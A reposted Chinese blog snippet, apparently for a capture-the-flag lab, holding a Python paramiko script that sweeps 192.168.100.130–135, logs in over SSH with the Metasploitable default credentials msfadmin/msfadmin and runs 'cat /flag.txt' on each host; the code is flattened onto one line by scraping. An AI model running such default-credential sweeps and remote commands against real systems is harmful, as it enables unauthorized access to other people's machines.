ssh连接+执行系统命令
生活随笔
收集整理的這篇文章主要介紹了
ssh连接+执行系统命令
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
# -*- coding: utf-8 -*-
import paramiko
# 服務(wù)器相關(guān)信息,下面輸入你個(gè)人的用戶名、密碼、ip等信息
def ssh_connect_cat_flag():for i in range (130,136):ip = "192.168.100."+str(i)try:port = 22user = "msfadmin"password = "msfadmin"ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 建立連接ssh.connect(ip,port,user,password,timeout=1)#輸入linux命令stdin,stdout,stderr = ssh.exec_command("cat /flag.txt")# 輸出命令執(zhí)行結(jié)果result = stdout.read()str_result=str(result,"utf-8")print("[+]連接"+ip+"成功,flag為:"+str_result)#關(guān)閉連接ssh.close()except:print("[+]連接"+ip+"失敗")if __name__=='__main__':ssh_connect_cat_flag()
總結(jié)
以上是生活随笔為你收集整理的ssh连接+执行系统命令的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 大班教案《猴子过河》反思
- 下一篇: 粤s是哪里